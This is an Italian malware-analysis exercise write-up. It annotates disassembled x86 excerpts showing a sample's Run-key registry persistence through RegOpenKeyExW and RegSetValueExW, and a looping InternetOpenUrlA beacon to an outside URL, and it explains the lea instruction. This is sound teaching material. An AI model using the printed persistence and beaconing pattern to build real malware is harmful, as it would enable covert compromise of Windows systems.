

# WINDOWS MALWARE

## TASK

Con riferimento agli estratti di un malware reale presenti nelle prossime slide, rispondere alle seguenti domande:

- Descrivere **come** il malware ottiene la **persistenza**, evidenziando il codice assembly dove le relative istruzioni e chiamate di funzioni vengono eseguite
- Identificare il **client software** utilizzato dal malware per la connessione ad Internet
- Identificare l'URL al quale il malware tenta di connettersi ed evidenziare la **chiamata di funzione** che permette al malware di connettersi ad un URL
- BONUS: qual è il significato e il funzionamento del comando assembly "lea"

## ESTRATTI DI MALWARE REALE

```
0040286F  push    2                ; samDesired
00402871  push    eax              ; ulOptions
00402872  push    offset SubKey    ; "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
00402877  push    HKEY_LOCAL_MACHINE ; hKey
0040287C  call    esi              ; RegOpenKeyExW
0040287E  test    eax, eax
00402880  jnz     short loc_4028C5
00402882
00402882  loc_402882:
00402882  lea     ecx, [esp+424h+Data]
00402886  push    ecx              ; lpString
00402887  mov     bl, 1
00402889  call    ds:strlenW
0040288F  lea     edx, [eax+eax+2]
00402893  push    edx              ; cbData
00402894  mov     edx, [esp+428h+hKey]
00402898  lea     eax, [esp+428h+Data]
0040289C  push    eax              ; lpData
0040289D  push    1                ; dwType
0040289F  push    0                ; Reserved
004028A1  lea     ecx, [esp+434h+ValueName]
004028A8  push    ecx              ; lpValueName
004028A9  push    edx              ; hKey
004028AA  call    ds:RegSetValueExW
```

```

.text:00401150 ; !!!!!!!!!!!!!!! S U B R O U T I N E !!!!!!!!!!!!!!!
.text:00401150
.text:00401150 ; DWORD __stdcall StartAddress(LPVOID)
.text:00401150 StartAddress proc near ; DATA XREF: sub_401040+EC70
.text:00401150 push esi
.text:00401151 push edi
.text:00401152 push 0 ; dwFlags
.text:00401154 push 0 ; lpszProxyBypass
.text:00401156 push 0 ; lpszProxy
.text:00401158 push 1 ; dwAccessType
.text:0040115A push offset szAgent ; "Internet Explorer 8.0"
.text:0040115F call ds:InternetOpenA
.text:00401165 mov edi, ds:InternetOpenUrlA
.text:0040116B mov esi, eax
.text:0040116D loc_40116D: ; CODE XREF: StartAddress+304j
.text:0040116D push 0 ; dwContext
.text:0040116F push 80000000h ; dwFlags
.text:00401174 push 0 ; dwHeadersLength
.text:00401176 push 0 ; lpszHeaders
.text:00401178 push offset szUrl ; "http://www.malware12.COM"
.text:0040117D push esi ; hInternet
.text:0040117E call edi ; InternetOpenUrlA
.text:00401180 jmp short loc_40116D
.text:00401180 StartAddress endp
.text:00401180

```

## ANALISI E VALUTAZIONI

Avente il codice assembly come nelle figure precedenti andiamo a rispondere ai seguenti quesiti:

### 1. DESCRIVERE COME IL MALWARE OTTIENE LA PERSISTENZA

Prima di procedere all'analisi del codice iniziamo nel definire quella che viene chiamata <<persistenza>>: i malware utilizzano molto spesso il registro di Windows al fine di ottenere la persistenza nel sistema; ovvero, il file eseguibile aggiunge sé stesso alle entry dei programmi che devono essere avviati all'avvio del PC in modo tale da essere eseguiti in maniera automatica e permanente senza l'azione dell'utente. Andiamo ora ad evidenziare il codice assembly, le relative istruzioni e chiamate di funzioni che vengono eseguite dal malware. Prendendo in esame la prima figura del codice possiamo identificare le seguenti linee di codice che permettono la persistenza del malware: partiamo nell'anticipare che al fine di ottenere la persistenza il codice assembly possiede due chiamate di funzioni principali, e successivamente indichiamo anche la chiave di registro usata dal file eseguibile

1. FUNZIONE: **RegOpenKeyExW**. Attraverso le prime istruzioni si può notare come i parametri della funzione sono passati sullo stack tramite le istruzioni <<push>>. Così facendo il malware accede alla chiave di registro prima di

modificarne il valore:

```

push 2 ; samDesired
push eax ; ulOptions
push offset SubKey ; "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
push HKEY_LOCAL_MACHINE ; hKey
call esi ; RegOpenKeyExW

```

2. FUNZIONE: **RegSetValueEx**. Anche in questo caso i valori sono passati sullo stack tramite le istruzioni <<push>>. La funzione viene utilizzata dal malware per modificare il valore del registro ed aggiungere una nuova entry in modo tale da ottenere la persistenza all'avvio del sistema operativo:

```
push    ecx                ; lpValueName
push    edx                ; hKey
call    ds:RegSetValueExW
```

3. CHIAVE DI REGISTRO: **Software\\Microsoft\\Windows\\CurrentVersion\\Run**. Quest'ultima è la chiave di registro utilizzata dal malware per ottenere **persistenza** su un sistema operativo Windows:

```
push    2                  ; samDesired
push    eax                ; ulOptions
push    offset SubKey      ; "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
push    HKEY_LOCAL_MACHINE ; hKey
call    esi ; RegOpenKeyExW
test    eax, eax
```

## 2. IDENTIFICARE IL CLIENT SOFTWARE

Sappiamo che il malware è in grado di svolgere due ruoli in una comunicazione: client e server. Entrambi i ruoli sono gli attori coinvolti nella comunicazione quando parliamo di networking e socket. Nel caso di <<client>> troveremo dapprima la chiamata di funzione **socket** e successivamente **connect**. Come vedremo spiegato successivamente la funzione utilizzata per inizializzare una connessione ad internet è **InternetOpen**, appartenente alla libreria Wininet.dll. Nel caso di questo codice reale, ritroviamo:

```
.text:00401150 ; DWORD __stdcall StartAddress(LPVOID)
.text:00401150 StartAddress proc near ; DATA XREF: sub_401040+EC70
.text:00401151 push    esi
.text:00401151 push    edi
.text:00401152 push    0 ; dwFlags
.text:00401154 push    0 ; lpszProxyBypass
.text:00401156 push    0 ; lpszProxy
.text:00401158 push    1 ; dwAccessType
.text:0040115A push    offset szAgent ; "Internet Explorer 8.0"
.text:0040115F call    ds:InternetOpenA
.text:00401165 mov     edi, ds:InternetOpenUrlA
.text:0040116B mov     esi, eax
```

Client  
Software

Chiamata di  
funzione per  
inizializzare la  
connessione.

### 3. IDENTIFICARE L'URL AL QUALE IL MALWARE TENTA DI CONNETTERSI

Tra le funzioni utilizzate dal malware, appartenenti alla libreria Wininet.dll, libreria che include funzioni per l'implementazione di protocolli di rete, ritroviamo: **InternetOpen** utilizzata per inizializzare una connessione ad Internet, e **InternetOpenUrl** utilizzata per la connessione ad un determinato URL.

Nel caso dell'esempio reale, l'URL e la chiamata di funzione che permette al malware di collegarsi all'URL, le ritroviamo nelle seguenti istruzioni:

```
.text:0040116D loc_40116D:                ; CODE XREF: StartAddress+301j
.text:0040116D                push    0                ; dwContext
.text:0040116F                push    80000000h        ; dwFlags
.text:00401174                push    0                ; dwHeadersLength
.text:00401176                push    0                ; lpszHeaders
.text:00401178                push    offset szUrl      ; "http://www.malware12.com"
.text:0040117D                push    esi              ; hInternet
.text:0040117E                call    edi               ; InternetOpenUrl
.text:00401180                jmp     short loc_40116D
.text:00401180 StartAddress endp
.text:00401180
```

URL al quale il malware cerca di connettersi

Chiamata di funzione che permette la connessione all'URL

### 4. BONUS: IDENTIFICARE IL SIGNIFICATO DELL'ISTRUZIONE <<lea>>

L'istruzione <<lea>> ha la funzionalità di caricare la parte Offset di un puntatore. In parole povere carica in un registro l'indirizzo effettivo di una certa variabile. In particolare consente di fare operazioni in linea che con l'istruzione **mov** non sono possibili fare. In definitiva lo scopo di **lea** è di farti risparmiare istruzioni rispetto all'uso di **mov**, soprattutto quando si lavora con gli offset, per effettuare operazioni in linea anche molto complesse.

LINK: <https://it.quora.com/Qual-%C3%A8-esattamente-la-differenza-tra-i-comandi-mov-e-lea-in-x86>